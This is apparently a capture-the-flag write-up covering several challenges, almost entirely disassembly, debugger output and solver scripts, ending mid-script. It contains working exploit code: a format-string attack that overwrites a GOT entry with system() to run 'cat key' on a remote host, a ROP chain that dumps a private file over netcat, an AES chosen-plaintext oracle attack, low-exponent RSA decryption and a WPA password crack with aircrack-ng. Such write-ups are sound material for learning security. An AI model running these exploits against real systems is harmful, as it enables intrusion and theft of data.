.text:0000004006D0 main      proc near
.text:0000004006D0           mov     [rsp+var_18], rbx
.text:0000004006D5           mov     [rsp+var_10], rbp
.text:0000004006DA           mov     rbx, rsi
.text:0000004006DD           mov     [rsp+var_8], r12
.text:0000004006E2           sub     rsp, 38h
.text:0000004006E6           cmp     edi, 1
.text:0000004006E9           jle     short loc_40075A
.text:0000004006EB           mov     r12, [rsi+8]
.text:0000004006EF           mov     rdi, r12        
.text:0000004006F2           call    _strlen           ; strlen(argv[1])
.text:0000004006F7           cmp     rax, 1Fh          ; 31
.text:0000004006FB           jnz     short loc_40075A
.text:0000004006FD           mov     rcx, rsp
.text:000000400700           mov     rsi, r12
.text:000000400703           mov     edi, 8
.text:000000400708           mov     edx, offset mess
.text:00000040070D           call    frob              ; encrypt
.text:000000400712           mov     rdi, cs:expected
.text:000000400719           mov     ecx, 20h
.text:00000040071E           mov     rsi, rsp
.text:000000400721           repe cmpsb                ; compare result with hardcoded data
.text:000000400723           jz      short loc_400748
.text:000000400725           mov     edi, offset s   ; "Invalid passcode"
.text:00000040072A           call    _puts
.text:00000040072F loc_40072F:                             ; CODE XREF: main+88j
.text:00000040072F           xor     eax, eax
.text:000000400731           mov     rbx, [rsp+38h+var_18]
.text:000000400736           mov     rbp, [rsp+38h+var_10]
.text:00000040073B           mov     r12, [rsp+38h+var_8]
.text:000000400740           add     rsp, 38h
.text:000000400744           retn

.text:000000000040070D                 call    frob
.text:0000000000400712                 mov     rdi, cs:expected
.text:0000000000400719                 mov     ecx, 20h        ; addr
.text:000000000040071E                 xor     rax, rax
.text:0000000000400721                 mov     al, 1
.text:0000000000400723                 xor     rdi, rdi
.text:0000000000400726                 inc     rdi
.text:0000000000400729                 mov     rsi, rsp        ; encrypted data
.text:000000000040072C                 mov     rdx, rcx        ; len = 32
.text:000000000040072F                 syscall                 ; write syscall
.text:0000000000400731                 retn

$ ./psimd "`perl -e 'print "A"x1 . "B"x30;'`" | xxd
0000000: 77de 77f3 823e 3815 01c2 2a91 441c 2926  w.w..>8...*.D.)&
0000010: 8ca8 c669 42c6 8cda 8e25 03e7 ebf6 b23b  ...iB....%.....;
$ ./psimd "`perl -e 'print "A"x2 . "B"x29;'`" | xxd
0000000: 77dd 77f3 823e 3815 01c2 2a91 441c 2926  w.w..>8...*.D.)&
0000010: 8ca8 c669 42c6 8cda 8e25 03e7 ebf6 b23b  ...iB....%.....;
$ ./psimd "`perl -e 'print "A"x3 . "B"x28;'`" | xxd
0000000: 77dd 74f3 823e 3815 01c2 2a91 441c 2926  w.t..>8...*.D.)&
0000010: 8ca8 c669 42c6 8cda 8e25 03e7 ebf6 b23b  ...iB....%.....;

# get hardcoded data from binary
$ dd bs=1 if=simd of=data skip=$(rax2 0x2458) count=32
32+0 records in
32+0 records out
32 bytes (32 B) copied, 0.000348474 s, 91.8 kB/s
 
$ ./psimd "`perl -e 'print "A"x31;'`" >ENCA
 
$ xor -f ENCA -s $(perl -e 'print "A"x32') >key
$ xor -f key -f data
4rnt_v3ct0r_1nstruct10ns_c00l?!A

$ openssl rsa -pubin -in id-rsa.pub -text
Public-Key: (4096 bit)
Modulus:
    00:b0:a1:f3:90:ac:d3:d4:3b:47:d3:9f:13:26:62:
    f6:9c:15:89:25:d9:28:71:e4:78:69:e2:84:1a:91:
    7c:20:d5:10:24:31:b9:a9:78:14:58:d8:40:fd:29:
    57:78:15:a4:16:12:d6:87:a3:48:7d:26:fb:ae:25:
    6f:15:d4:74:0c:34:59:1b:64:6a:bc:cc:b1:a2:7a:
    cd:e2:99:b3:e7:16:00:85:7b:45:5c:28:36:60:e0:
    45:5c:68:ff:45:c0:64:4c:fe:c2:11:d7:f5:1a:16:
    c8:2e:91:d7:86:d9:2c:79:9f:b3:cb:48:f9:2d:e3:
    42:ba:70:dd:82:13:05:6b:31:4a:8d:51:da:94:93:
    cf:1b:86:ec:15:fd:f0:3e:04:6e:76:d3:f1:a1:ad:
    0a:ab:b6:84:ce:5d:15:7e:39:98:28:a6:3a:5a:f5:
    92:02:28:bb:5e:a1:e6:6b:8f:ea:a3:cc:bb:af:f5:
    55:e3:46:79:77:30:dd:fc:1c:4c:f4:a9:dd:40:65:
    88:62:93:48:c4:c2:92:65:df:9e:2c:3d:02:55:8b:
    e5:e3:5c:b2:77:f4:e7:ac:7b:51:58:ef:39:03:a3:
    96:48:63:71:02:9e:54:a3:45:29:2a:ba:47:49:9f:
    1c:26:7e:68:0a:e7:38:19:5f:d5:af:2a:80:75:93:
    98:90:f5:d6:9e:6b:3e:94:e3:e5:60:86:1a:a6:c6:
    c6:9d:a8:24:05:db:a2:18:2e:66:ec:ff:6a:8a:9c:
    df:5a:d5:22:6f:07:3e:7d:52:5e:05:0f:dd:77:e0:
    bb:18:91:a4:9e:fe:c2:d3:67:a6:93:d2:a6:79:9d:
    0d:46:67:95:3d:4f:3d:de:c1:6a:c1:5b:b4:cf:60:
    25:ea:58:ec:b6:df:a5:72:31:6d:a0:8d:31:06:07:
    39:73:32:2a:e7:59:74:46:f2:fd:30:43:df:6e:1d:
    60:4c:6a:1f:0e:59:47:3d:9b:c1:82:d4:ec:6f:c4:
    58:8f:1c:6b:2a:a4:76:87:6a:84:b2:d4:e0:d4:59:
    10:39:91:18:d7:e1:e2:0d:cc:27:70:3f:2b:d3:e9:
    af:72:2f:37:a7:67:3b:15:d6:74:92:28:62:c8:4d:
    00:fc:2f:c7:dd:dd:c9:15:c4:69:3f:cb:0b:17:89:
    e9:dc:bd:72:ac:04:65:9e:7c:18:dc:f3:62:54:76:
    00:40:40:2b:fc:ef:11:b8:a3:ef:9c:8b:dd:ba:aa:
    8d:14:c6:e8:f5:18:a7:0b:03:6d:20:6b:80:9c:d9:
    b3:b5:1a:1e:c0:13:2d:ac:e9:6d:ca:94:51:f3:4c:
    38:ab:84:ed:47:5e:7d:94:fb:e9:ff:c0:07:f2:d1:
    48:60:bd
Exponent: 3 (0x3)

import gmpy
from libnum import *
 
N = long('00b0...0bd', 16)
orig = s2n(open("enc.dat").read().rstrip())
 
c = orig
while True:
    m = gmpy.root(c, 3)[0]
    if pow(m, 3, N) == orig:
        print "pwned", n2s(m)
        break
    c += N

$ time py rsa.py 
pwned 
Didn't I tell you everything would work out in the end? Brixby gave me the password to the secure server: 56c812da9a3955e3c81453eb035b3d37b3f1bfe407ef701d09cf68dd4bb335b1
 
 
real	0m44.679s
user	0m44.615s
sys	0m0.008s

        iv = os.urandom(16)
        self.wfile.write(iv)
        while True:
            data = self.rfile.read(4)
            if not data:
                break
 
            try:
                length = struct.unpack('I', data)[0]
                if length > 4096:
                    break
                data = self.rfile.read(length)
                data += PROBLEM_KEY
                ciphertext = encrypt(data, iv)
                iv = ciphertext[-16:]
                self.wfile.write(struct.pack('I', len(ciphertext)))
                self.wfile.write(ciphertext)
            except:
                break

"X"*15 --> AES(IV, "X*15" + Flag[0]) + …

"X"*15 + "A" --> AES(IV, "X*15" + "a") + …

"X"*15 + "B" --> AES(IV, "X*15" + "b") + …

from sock import Sock
from struct import pack, unpack
 
ALPHA = "_abcdefghijklmnopqrstuvwxyz"
 
def send_msg(f, m):
	data = pack("I", len(m))
	data += m
	f.send(data)
 
	dlen = unpack("I", f.read_nbytes(4))[0]
	data = f.read_nbytes(dlen)
	return data, data[-16:]
 
f = Sock("23.21.15.166", 4433)
iv = f.read_nbytes(16)
 
key = ""
for index in xrange(len(key)+1, 99999):
	pad_len = 16 - (index % 16)
	msg = "A" * pad_len
 
	s, iv = send_msg(f, iv)
	s, iv = send_msg(f, msg)
 
	block_number = index / 16
	good_block = s[block_number * 16 : (block_number + 1) * 16]
	print "ENC", msg, "(%d)" % len(msg), "=", good_block[:16].encode("hex")
 
	for c in ALPHA:
		s, iv = send_msg(f, iv)
		msg = "A" * pad_len + key + c
		s, iv = send_msg(f, msg)
		block = s[block_number * 16 : (block_number + 1) * 16]
		if block == good_block:
			key += c
			print "Found", index-1, "char:", c, "key:", key
			break
	else:
		print "Finished\n"
		print "KEY:", key
		break

$ py predict_iv.py 
ENC AAAAAAAAAAAAAAA (15) = f1a42e850b6c7abaa7b53223470505c3
Found 0 char: p key: p
ENC AAAAAAAAAAAAAA (14) = 5edf4afc7bf0765bddba811a9b3adad6
Found 1 char: r key: pr
ENC AAAAAAAAAAAAA (13) = df41943880e2b461c31590e293202159
Found 2 char: e key: pre
ENC AAAAAAAAAAAA (12) = d9859acf09e49d50ada8e938c345f28d
Found 3 char: d key: pred
ENC AAAAAAAAAAA (11) = e5a8b4ee0ba44f72abeec767de8f1092
Found 4 char: i key: predi
...
ENC AAAAA (5) = be6ff4d4c812a4f2a3050e289bbbb98c
Found 26 char: o key: predictable_ivs_are_dangero
ENC AAAA (4) = 2b07c150317a5ac936817896c3846f24
Found 27 char: u key: predictable_ivs_are_dangerou
ENC AAA (3) = 17b9dad0127147163265627f1b5efeac
Found 28 char: s key: predictable_ivs_are_dangerous
ENC AA (2) = e681d4d39dee05ddf6c16e0ba9598288
Finished
 
KEY: predictable_ivs_are_dangerous

> *** Welcome to Remote Nuclear Bomb Launch System ***
> # Enter the launch code: 
< (4, 944438008684116...6L)
> !!! Success !!! Bomb has been launched!

from libnum import *
 
pairs = []
pairs += [(4, 9444...806)]
pairs += [(2, 8577...243)]
pairs += [(1, 3320...109)]
pairs += [(5, 6259...452)]
pairs += [(3, 6454...858)]
 
p = int(open("p.txt").read())
 
res = 0
for i, pair in enumerate(pairs):
	x, y = pair
	top = 1
	bottom = 1
	for j, pair in enumerate(pairs):
		if j == i:
			continue
		xj, yj = pair
		top = (top * (-xj)) % p
		bottom = (bottom * (x - xj)) % p
	res += (y * top * invmod(bottom, p)) % p
	res %= p
 
print res
print n2s(res)

$ py shamir.py 
723126740974638694358413759917266643240116870314821228110113
s3cr3t_5h4r1n9_i5_H4RD_!!

time((time_t *)&current_time);
current_time /= 60;
srand(current_time);
rnd_number = rand();
//	…
printf("Name: ");
fflush(stdout);
fgets(szName, 256, stdin);
printf("Guess: ");
fflush(stdout);
fgets(szGuess, 32, stdin);
our_number = atoi(szGuess);
if ( our_number != rnd_number )
{
    puts("Wrong value!");
    exit(1);
}

#include <time.h>
void main(void)
{
  time_t curr_time;
  srand(time(&curr_time)/60);
  printf("%d", rand());
}

LIBC = ctypes.cdll.LoadLibrary("./libc.so.6")
t = LIBC.time(0)/60
LIBC.srand(t)
return str(LIBC.rand())

#!/usr/bin/python
import os
import subprocess 
import sys
import struct
import ctypes
 
def get_rnd_str():
   LIBC = ctypes.cdll.LoadLibrary("./libc.so.6") 
   t = LIBC.time(0)/60
   LIBC.srand(t)
   return str(LIBC.rand())
 
################################## get real address of system ##########################
PW = "2ipzLTxTGOtJE0Um\n"
addr = 0x8049E30 # atoi address
system_org = 0x00039100 # system offset in libc.so.6
atoi_org = 0x0002D870 # atoi offset in libc.so.6
buf = PW + struct.pack("<I", addr) + "XXXX%19$s\n"
buf += get_rnd_str()
 
p2 = subprocess.Popen(["./problem"],  stdout=subprocess.PIPE, stdin=subprocess.PIPE)
p2.stdin.write(buf)
result = p2.communicate()[0]
system = struct.unpack("<I",result[result.find("XXXX")+4:result.find("XXXX")+8])[0]
 
####################################### execute cat key ################################
buf = PW
addr = 0x08049e18 # address of free GOT
system = system + (system_org-atoi_org) # calculate real system address
high = system >> 16
low = system & 0xFFFF
start = 8
if high < low:
   buf += struct.pack("<I", addr+2) + struct.pack("<I", addr)+\
          "%%" + str(high - start) + "c%%21$hn"+\
          "%%" + str(low - high) + "c%%22$hn"+"; cat key\n"
else:
   buf += struct.pack("<I", addr) + struct.pack("<I", addr+2)+\
          "%%" + str(low - start) + "c%%21$hn"+\
          "%%" + str(high - low) + "c%%22hn"+"; cat key\n"
buf += get_rnd_str()
 
p3 = subprocess.Popen(["./problem"],  stdout=subprocess.PIPE, stdin=subprocess.PIPE)
p3.stdin.write(buf)
result = p3.communicate()[0]
result = result.replace(' ','')
print result[result.find("Bye,")+8:]

#!/usr/bin/env python
#-*- coding:utf-8 -*-
 
from inc import *
from libformatstr import *
import ctypes
 
PW = "2ipzLTxTGOtJE0Um\n"
 
def do_fmt(fmt):
	LIBC = ctypes.cdll.LoadLibrary("./libc.so.6") 
	t = LIBC.time(0)/60
	LIBC.srand(t)
	rnd = LIBC.rand()
 
	f = Sock("23.20.104.208", 56345, 10)
 
	f.read_until(": ")
	f.send(PW)
 
	f.read_until(": ")
	f.send(fmt + "\n")
 
	f.read_until(": ")
	f.send(str(rnd) + "\n")
 
	return f.read_until("Bye") + f.read_one()
 
def read_dword(addr):
	res = do_fmt(pack("<I", addr) + '0000%19$s')
	#print res
	res = res[res.find("playing, ") + 9:]
	if res[4:8] != "0000":
		print "FAIL"
	res = res[8:]
	start = unpack("<I", res[:4])[0]
	return start
 
system = 0xf7ec8450
#start = read_dword(0x08049e14)
#diff1 = 0x39450 - 0x16bc0
#system = start + diff1
 
low = system & 0xffff
high = system >> 16
start = 8
 
addr = 0x8049E18
r = pack("<I", addr)
r += pack("<I", addr+2)
r += "%%" + str(low - start) + "c"
r += "%%21$hn"
r += "%%" + str(high - low) + "c"
r += "%%22$hn"
r += "; " + sys.argv[1]
print r
 
LIBC = ctypes.cdll.LoadLibrary("./libc.so.6") 
t = LIBC.time(0)/60
LIBC.srand(t)
rnd = LIBC.rand()
f = Sock("23.20.104.208", 56345, 10)
f.read_until(": ")
f.send(PW)
f.read_until(": ")
f.send(r + "\n")
f.read_until(": ")
f.send(str(rnd) + "\n")
 
s = ""
while not f.eof:
	try:
		s += f.read_one()
	except:
		pass
 
s = s[s.find("not found")+9:]
s = s[s.find("not found")+9:]
print s

$ strings web3.ndh
.NDH
HTTP/1.0 200 OK
Content-Type : text/HTML
Content-Length : 70
<html><center><b>Exploit Me if you can ;)</b></html></center>
GET 
Cannot create server

$ ./vmndh -file web3.ndh 
GET blabla
HTTP/1.0 200 OK
Content-Type : text/HTML
Content-Length : 70
 
<html><center><b>Exploit Me if you can ;)</b></html></center>

$ perl -e 'print "GET " . "A"x1024;' | ./vmndh -file web3.ndh
$

$ ./vmndh -file web3.ndh -debug
[Console]#> run
...
0x81e8 > syscall (r0 = 0x0003 - read)
GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[SYSCALL output]: 517
0x81e9 > ret
0x84d8 > mov r0, r1
0x84dc > addl r8, #0x200
0x84e1 > pop r1
0x84e3 > cmpl r1, #0xbeef
0x84e8 > jz 0x01
0x84eb > end

$ perl -e 'print "GET " . "\xef\xbe"x512;' | ./vmndh -file web3.ndh
[!] Segfault 0xbeef (out of range)

$ perl -e 'print "GET " . "A"x508 . "\xef\xbe" . "\x42\x41";' | ./vmndh -file web3.ndh
[!] Segfault 0x4142 (opcode unknown)

$ ./vmndh -file web3.ndh -debug
[Console]#> bp 0x81e8
Breakpoint set in 0x81e8
[Console]#> run
...
[BreakPoint 1 - 0x81e8]
0x81e8 > syscall (r0 = 0x0003 - read)
GET blabla
[SYSCALL output]: 11
[Console]#> show sp
7bf2: d8 84 47 45 54 20 62 6c 61 62
# this is:  G  E  T     b  l  a  b

$ perl -e 'print "GET " . "A"x508 . "\xef\xbe" . "\xf8\x7b";' | ./vmndh -file web3.ndh
[!] Segfault 0x7bf8 (opcode unknown)
$ perl -e 'print "GET " . "A"x508 . "\xef\xbe" . "\xf8\x7b";' | nc sci.nuitduhack.com 4005
[!] Segfault 0x7bf8 (NX bit)

[Console]#> dis 81D2:6
0x81d2: movb r0, #0x02  <- SYS_OPEN
0x81d6: syscall
0x81d7: ret
 
[Console]#> dis 8229:7
0x8229: pop r3  \
0x822b: pop r2   |-> arguments for syscalls
0x822d: pop r1  /
0x822f: ret
 
[Console]#> dis 8198:5
0x8198: pop r1
0x819a: pop r0  <- syscall number
0x819c: ret

import sys
from struct import pack
 
fname_addr = 0x7bf8
buf = 0x0000
 
pop_r1_r0 = 0x8198
pop_r0 = 0x819a
pop_args = 0x8229
sys_open = 0x81d2
syscall = 0x81D6 
 
# fill stackframe
s = "GET sciteek-private.txt\x00".ljust(512, "A")
# stack cookie
s += "\xef\xbe"
 
# close(3)
s += pack("<H", pop_r1_r0)
s += pack("<H", 3)  # FD = 3
s += pack("<H", 5)  # SYS_CLOSE
s += pack("<H", syscall)
 
# open(filename, O_RDONLY, 0);
s += pack("<H", pop_args)
s += pack("<H", 0)          # FLAGS
s += pack("<H", 0)          # O_RDONLY
s += pack("<H", fname_addr) # FILENAME
 
s += pack("<H", sys_open) # FILENAME
 
# read(3, buf, 1000)
s += pack("<H", pop_args)
s += pack("<H", 1000) # SIZE
s += pack("<H", buf)  # BUF
s += pack("<H", 3)    # FD
 
s += pack("<H", pop_r0)
s += pack("<H", 3)    # SYS_READ
 
s += pack("<H", syscall)
 
# write(1, buf, size)
s += pack("<H", pop_args)
s += pack("<H", 1000) # SIZE
s += pack("<H", buf)  # BUF
s += pack("<H", 1)    # STDOUT
 
s += pack("<H", pop_r0)
s += pack("<H", 4)    # SYS_READ
 
s += pack("<H", syscall) # FILENAME
 
sys.stdout.write(s)

$ py pay.py | nc sci.nuitduhack.com 4005
 
Dear Patrick,
 
We found many evidences proving there is a mole inside our company who is selling confidential materials to our main competitor, Megacortek. We have very good reasons to believe that Walter Smith have sent some emails to a contact at Megacortek, containing confidential information.
 
However, these emails seems to have been encrypted and sometimes contain images or audio files which are apparently not related with our company or our business
, but one of them contains an archive with an explicit name.
 
We cannot stand this situation anymore, and we should take actions to make Mr Smith leave the company: we can fire this guy or why not call the FBI to handle this case as it should be.
 
Sincerely,
 
David Markham.
[!] Segfault 0x0000 (NX bit)
$

$ ./vmndh -file executable1.ndh 
Sciteek protected storage #1
Enter your password: test
Bad password

0x83ff > syscall (r0 = 0x0003 - read)
TEST
[SYSCALL output]: 5
0x8400 > mov r0, r2
0x8404 > call 0xfee0
0x82e8 > mov r7, r0
0x82ec > movl r6, #0x840d
0x82f1 > call 0xfd0e
0x8003 > push r1
0x8006 > push r2
0x8009 > movl r1, #0x0
0x800e > movl r2, #0x0
0x8013 > mov r1, [r0]
0x8017 > test r1, r1
0x801a > inc r2
0x801c > inc r0
0x801e > jnz 0xfff2
0x8013 > mov r1, [r0]
0x8017 > test r1, r1
0x801a > inc r2
0x801c > inc r0
0x801e > jnz 0xfff2
...
0x8013 > mov r1, [r0]
0x8017 > test r1, r1
0x801a > inc r2
0x801c > inc r0
0x801e > jnz 0xfff2
0x8021 > dec r2
0x8023 > mov r0, r2
0x8027 > pop r2
0x8029 > pop r1
0x802b > ret
0x82f5 > cmpb r0, #9  <- length compare
0x82f9 > jz 0x05
0x82fc > call 0xffd4

$ ./vmndh -file executable1.ndh -debug
[Console]#> bp 0x82f5
Breakpoint set in 0x82f5
[Console]#> run
...
0x83ff > syscall (r0 = 0x0003 - read)
testtest
...
 
[BreakPoint 1 - 0x82f5]
0x82f5 > cmpb r0, #9
[Console]#> 
0x82f9 > jz 0x05
[Console]#> 
0x8301 > mov r0, [r7]
[Console]#> 
0x8305 > mov r1, [r6]
[Console]#> dis 8301:100
0x8301: mov r0, [r7]
0x8305: mov r1, [r6]
0x8309: xor r0, r1
0x830d: cmpb r0, #78   <--- 1
0x8311: jz 0x0005 //8319
0x8314: call 0xffbc //82d4
0x8318: end
0x8319: inc r7
0x831b: inc r6
0x831d: mov r0, [r7]
0x8321: mov r1, [r6]
0x8325: xor r0, r1
0x8329: cmpb r0, #44   <--- 2
0x832d: jz 0x0005 //8335
0x8330: call 0xffa0 //82d4
0x8334: end
0x8335: inc r7
0x8337: inc r6
0x8339: mov r0, [r7]
0x833d: mov r1, [r6]
0x8341: xor r0, r1
0x8345: cmpb r0, #73   <--- 3
0x8349: jz 0x0005 //8351
0x834c: call 0xff84 //82d4
0x8350: end
0x8351: inc r7
0x8353: inc r6
0x8355: mov r0, [r7]
0x8359: mov r1, [r6]
0x835d: xor r0, r1
0x8361: cmpb r0, #6b   <--- 4
0x8365: jz 0x0005 //836d
0x8368: call 0xff68 //82d4
0x836c: end
0x836d: inc r7
0x836f: inc r6
0x8371: mov r0, [r7]
0x8375: mov r1, [r6]
0x8379: xor r0, r1
0x837d: cmpb r0, #61   <--- 5
0x8381: jz 0x0005 //8389
0x8384: call 0xff4c //82d4
0x8388: end
0x8389: inc r7
0x838b: inc r6
0x838d: mov r0, [r7]
0x8391: mov r1, [r6]
0x8395: xor r0, r1
0x8399: cmpb r0, #3e   <--- 6
0x839d: jz 0x0005 //83a5
0x83a0: call 0xff30 //82d4
0x83a4: end
0x83a5: inc r7
0x83a7: inc r6
0x83a9: mov r0, [r7]
0x83ad: mov r1, [r6]
0x83b1: xor r0, r1
0x83b5: cmpb r0, #6e   <--- 7
0x83b9: jz 0x0005 //83c1
0x83bc: call 0xff14 //82d4
0x83c0: end
0x83c1: inc r7
0x83c3: inc r6
0x83c5: mov r0, [r7]
0x83c9: mov r1, [r6]
0x83cd: xor r0, r1
0x83d1: cmpb r0, #5e   <--- 8
0x83d5: jz 0x0005 //83dd

[Console]#> info regs
[r0]: 0074	[r4]: 0000
[r1]: 0002	[r5]: 0000
[r2]: 7fda	[r6]: 840d
[r3]: 001f	[r7]: 7fda
 
[bp]: 7ffa	[zf]: 0001
[sp]: 7fd8	[af]: 0000
[pc]: 8309	[bf]: 0000
[Console]#> x/x 840d:10
0x840d: 02 05 03 07 08 06 01 09 53 63 69 74 65 65 6b 20 
[Console]#> x/x 7fda:10
0x7fda: 74 65 73 74 74 65 73 74 0a 00 00 00 00 00 00 00
        t  e  s  t  t  e  s  t  \n

"\x02\x05\x03\x07\x08\x06\x01\x09"
xor
"\x78\x44\x73\x6b\x61\x3e\x6e\x5e"
---
"zApli8oW"

$ nc sci.nuitduhack.com 4001
Sciteek protected storage #1
Enter your password: zApli8oW
<PSP version="1.99">
<MOTD>
<![CDATA[
Welcome on SciPad Protected Storage.
 
The most secure storage designed by Sciteek. This storage protocol
allows our users to share files in the cloud, in a dual way.
 
This daemon has been optimized for SciPad v1, running SciOS 16bits
with our brand new processor.
]]>
</MOTD>
<FLAG>
ea1670464251ea3b65afd624d9b17cd7
</FLAG>
<ERROR>
An unexpected error occured: PSP-UNK-ERR-001> application closed.
</ERROR>
</PSP>

$ aircrack-ng sciteekadm.cap -w 500-worst-passwords.txt 
Opening sciteekadm.cap
Read 345 packets.
 
   #  BSSID              ESSID                     Encryption
 
   1  40:FC:89:E0:FF:D3  Sciteek-adm               WPA (1 handshake)
 
Choosing first network as target.
 
Opening sciteekadm.cap
Reading packets, please wait...
 
                                 Aircrack-ng 1.1
 
 
                   [00:00:00] 4 keys tested (300.98 k/s)
 
 
                           KEY FOUND! [ 12345678 ]

$ airdecap-ng -p 12345678 sciteekadm.cap -e Sciteek-adm
Total number of packets read           345
Total number of WEP data packets         0
Total number of WPA data packets        55
Number of plaintext data packets         0
Number of decrypted WEP  packets         0
Number of corrupted WEP  packets         0
Number of decrypted WPA  packets        41
$ wireshark sciteekadm-dec.cap

[Console]#> bp 0x81e8
Breakpoint set in 0x81e8
[Console]#> run
...
[BreakPoint 1 - 0x81e8]
0x81e8 > syscall (r0 = 0x0003 - read)
test
[SYSCALL output]: 5
0x81e9 > ret
0x8622 > pop r2
0x8624 > pop r1
0x8626 > ret
0x8655 > call 0xfed8
0x8531 > push r2

[Console]#> x/x 0:80
0x0000: 74 65 73 74 0a 00 00 00 00 0a 0a 06 06 00 00 0b 
0x0010: 02 07 4d 06 00 07 02 07 78 07 00 07 09 02 02 07 
0x0020: 61 06 01 07 02 07 02 07 01 07 09 02 02 07 72 06 
0x0030: 02 07 02 07 43 07 02 07 09 02 02 07 31 06 03 07 
0x0040: 02 07 45 07 03 07 09 02 02 07 30 06 04 07 02 07 
0x0050: 03 07 04 07 09 02 02 07 4c 06 05 07 02 07 7f 07 
0x0060: 05 07 09 02 02 07 64 06 06 07 02 07 0f 07 06 07 
0x0070: 09 02 02 00 01 0b 00 00 00 00 00 00 00 00 00 00

[Console]#> dis 8532:100
0x8532: pop r2
0x8534: call 0xfdf9 //8331
0x8538: cmpb r0, #0b
0x853c: jnz 0x0003 //8542
0x853f: jmpl 0x008f //85d1
0x8542: cmpb r0, #01
0x8546: jnz 0x0007 //8550
0x8549: call 0xfeec //8439
0x854d: jmpl 0xffe4 //8534
0x8550: cmpb r0, #02
0x8554: jnz 0x0007 //855e
0x8557: call 0xff0e //8469
0x855b: jmpl 0xffd6 //8534
0x855e: cmpb r0, #03
0x8562: jnz 0x0007 //856c
0x8565: call 0xfe7c //83e5
0x8569: jmpl 0xffc8 //8534
0x856c: cmpb r0, #04
0x8570: jnz 0x0007 //857a
0x8573: call 0xfe98 //840f
0x8577: jmpl 0xffba //8534
...

0x843c: push r1
0x8440: pop r2
0x8442: call 0xfeeb //8331
0x8446: mov r1, r0
0x844a: call 0xfee3 //8331
0x844e: call 0xfeb9 //830b
0x8452: mov r2, r0
0x8456: mov r0, r1
0x845a: mov r1, r2
0x845e: call 0xfebc //831e
0x8462: pop r2
0x8464: pop r1
0x8466: pop r0
0x8468: ret

0x843c: push r1
0x8440: pop r2
0x8442: call 0xfeeb //8331 get next byte (operand 1)
0x8446: mov r1, r0
0x844a: call 0xfee3 //8331 get next byte (operand 2)
0x844e: call 0xfeb9 //830b load [op2]
0x8452: mov r2, r0
0x8456: mov r0, r1
0x845a: mov r1, r2
0x845e: call 0xfebc //831e store [op1] = [op2]
0x8462: pop r2
0x8464: pop r1
0x8466: pop r0
0x8468: ret

01 xx yy -> [xx] = [yy]

code = """
	02  07 4d 06 00 07 02 07 78 07 00 07 09 02 02 07 
	61  06 01 07 02 07 02 07 01 07 09 02 02 07 72 06 
	02  07 02 07 43 07 02 07 09 02 02 07 31 06 03 07 
	02  07 45 07 03 07 09 02 02 07 30 06 04 07 02 07 
	03  07 04 07 09 02 02 07 4c 06 05 07 02 07 7f 07 
	05  07 09 02 02 07 64 06 06 07 02 07 0f 07 06 07
"""
code = map(lambda s: int(s, 16), code.strip().split())
 
ip = 0
while ip < len(code):
	opcode = code[ip]
	op1, op2 = code[ip+1:ip+3]
	print ip,":", "%02x %02x %02x:\t" % (opcode, op1, op2),
 
	if opcode == 1:
		print "[%2x] = [%2x]" % (op1, op2)
		ip += 2
	if opcode == 2:
		print "[%2x] = %2x" % (op1, op2)
		ip += 2
	if opcode == 3:
		print "inc [%2x]" % op1
		ip += 1
	if opcode == 4:
		print "dec [%2x]" % op1
		ip += 1
	if opcode == 5:
		print "[%2x] = [%2x] + [%2x]" % (op1, op1, op2)
		ip += 2
	if opcode == 6:
		print "[%2x] = [%2x] ^ [%2x]" % (op1, op1, op2)
		ip += 2
	if opcode == 7:
		print "[%2x] == [%2x]" % (op1, op2)
		ip += 2
	if opcode == 8:
		print "je %2x" % (op1)
		ip += 1
	if opcode == 9:
		print "jne %2x" % (op1)
		ip += 1
	ip += 1

 
$ py dis.py 
0 : 02 07 4d:	[ 7] = 4d
3 : 06 00 07:	[ 0] = [ 0] ^ [ 7]
6 : 02 07 78:	[ 7] = 78
9 : 07 00 07:	[ 0] == [ 7]
12 : 09 02 02:	jne  2
14 : 02 07 61:	[ 7] = 61
17 : 06 01 07:	[ 1] = [ 1] ^ [ 7]
20 : 02 07 02:	[ 7] =  2
23 : 07 01 07:	[ 1] == [ 7]
26 : 09 02 02:	jne  2
28 : 02 07 72:	[ 7] = 72
31 : 06 02 07:	[ 2] = [ 2] ^ [ 7]
34 : 02 07 43:	[ 7] = 43
37 : 07 02 07:	[ 2] == [ 7]
40 : 09 02 02:	jne  2
42 : 02 07 31:	[ 7] = 31
45 : 06 03 07:	[ 3] = [ 3] ^ [ 7]
48 : 02 07 45:	[ 7] = 45
51 : 07 03 07:	[ 3] == [ 7]
54 : 09 02 02:	jne  2
56 : 02 07 30:	[ 7] = 30
59 : 06 04 07:	[ 4] = [ 4] ^ [ 7]
62 : 02 07 03:	[ 7] =  3
65 : 07 04 07:	[ 4] == [ 7]
68 : 09 02 02:	jne  2
70 : 02 07 4c:	[ 7] = 4c
73 : 06 05 07:	[ 5] = [ 5] ^ [ 7]
76 : 02 07 7f:	[ 7] = 7f
79 : 07 05 07:	[ 5] == [ 7]
82 : 09 02 02:	jne  2
84 : 02 07 64:	[ 7] = 64
87 : 06 06 07:	[ 6] = [ 6] ^ [ 7]
90 : 02 07 0f:	[ 7] =  f
93 : 07 06 07:	[ 6] == [ 7]

$ xor -h 4d617231304c64 -h 78024345037f0f
5c1t33k
$ nc sci.nuitduhack.com 4002
Please enter Sciteek admin password: 5c1t33k
...
<<< a source for 4004 here >>>
...

import marshal, imp
if imp.get_magic() != '\x03\xf3\r\n':
    raise ImportError('Wrong!!')
__code = marshal.loads(“...”)
del marshal, imp
exec __code
del __code

import immlib
 
def toString(s):
 t = ''
 for i in range(len(s)):
   if(s[i]==0):
